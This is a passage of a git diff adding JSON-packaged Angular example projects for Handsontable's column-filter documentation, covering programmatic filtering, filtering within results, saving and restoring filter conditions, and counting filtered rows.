'2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n\n // get the `Filters` plugin, so you can use its API\n getFiltersPlugin(): Filters {\n return this.hotTable.hotInstance!.getPlugin('filters');\n }\n\n filterBelow200() {\n const filters = this.getFiltersPlugin();\n\n // clear any existing filters\n filters.clearConditions();\n // filter data by the 'Price' column (column at index 2)\n // to display only items that are less than ('lt') $200\n filters.addCondition(2, 'lt', [200]);\n filters.filter();\n }\n\n filterAbove200() {\n const filters = this.getFiltersPlugin();\n\n filters.clearConditions();\n // display only items that are more than ('gt') $200\n filters.addCondition(2, 'gt', [200]);\n filters.filter();\n }\n\n clearAllFilters() {\n const filters = this.getFiltersPlugin();\n\n filters.clearConditions();\n filters.filter();\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-filter/angular/example11.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"example11","exampleTitle":"Filter data programmatically (2)","docPermalink":"/column-filter","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example12.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example12.ts.json new file mode 100644 index 00000000..1d9188bf --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example12.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column filter · Enable filtering within already filtered results (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example12',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ];\n\n readonly hotSettings: GridSettings = {\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering with option\n filters: {\n searchMode: 'apply'\n },\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-filter/angular/example12.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"example12","exampleTitle":"Enable filtering within already filtered results (2)","docPermalink":"/column-filter","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example13.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example13.ts.json new file mode 100644 index 00000000..521d4271 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example13.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column filter · Save and restore filter settings (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\nimport { Filters } from 'handsontable/plugins';\nimport type { ColumnConditions } from 'handsontable/plugins/filters';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example13',\n template: `\n
    \n
    \n \n \n \n \n
    \n
    \n\n \n \n `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n savedConditions: ColumnConditions[] = [];\n\n readonly hotData = [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ];\n\n readonly hotSettings: GridSettings = {\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n // get the `Filters` plugin, so you can use its API\n getFiltersPlugin(): Filters {\n return this.hotTable.hotInstance!.getPlugin('filters');\n }\n\n applySampleFilter() {\n const filters = this.getFiltersPlugin();\n\n filters.clearConditions();\n // filter the 'Price' column (column at index 2) for items over $200\n filters.addCondition(2, 'gt', [200]);\n filters.filter();\n }\n\n saveFilters() {\n const filters = this.getFiltersPlugin();\n\n // `exportConditions()` returns the current conditions, keyed by physical column index\n this.savedConditions = filters.exportConditions();\n }\n\n clearFilters() {\n const filters = this.getFiltersPlugin();\n\n filters.clearConditions();\n filters.filter();\n }\n\n restoreFilters() {\n const filters = this.getFiltersPlugin();\n\n // `importConditions()` expects the same physical-column-indexed structure\n filters.importConditions(this.savedConditions);\n filters.filter();\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-filter/angular/example13.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"example13","exampleTitle":"Save and restore filter settings (2)","docPermalink":"/column-filter","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example14.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example14.ts.json new file mode 100644 index 00000000..74c498f2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example14.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column filter · Get filtered data (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport Handsontable from 'handsontable';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example14',\n template: `\n

    {{ rowCountInfo }}

    \n\n \n \n `,\n})\nexport class AppComponent {\n rowCountInfo = '';\n\n readonly hotData = [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ];\n\n readonly hotSettings: GridSettings;\n\n constructor() {\n // deferred so the update doesn't trigger NG0100 when `afterInit` fires\n // during the same change-detection cycle that first rendered the template\n const updateRowCountInfo = (hotInstance: Handsontable) => {\n setTimeout(() => {\n // `getData()` returns only the rows that pass the current filters\n // `getSourceData()` always returns every row, filtered or not\n this.rowCountInfo = `Showing ${hotInstance.getData().length} of ${hotInstance.getSourceData().length} rows.`;\n }, 0);\n };\n\n this.hotSettings = {\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n // `afterInit()` and `afterFilter()` are Handsontable hooks\n afterInit(this: Handsontable) {\n updateRowCountInfo(this);\n },\n afterFilter(this: Handsontable) {\n updateRowCountInfo(this);\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-filter/angular/example14.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"example14","exampleTitle":"Get filtered data (2)","docPermalink":"/column-filter","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example2.ts.json new file mode 100644 index 00000000..a0d2f30f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column filter · Enable filtering (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example2',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: 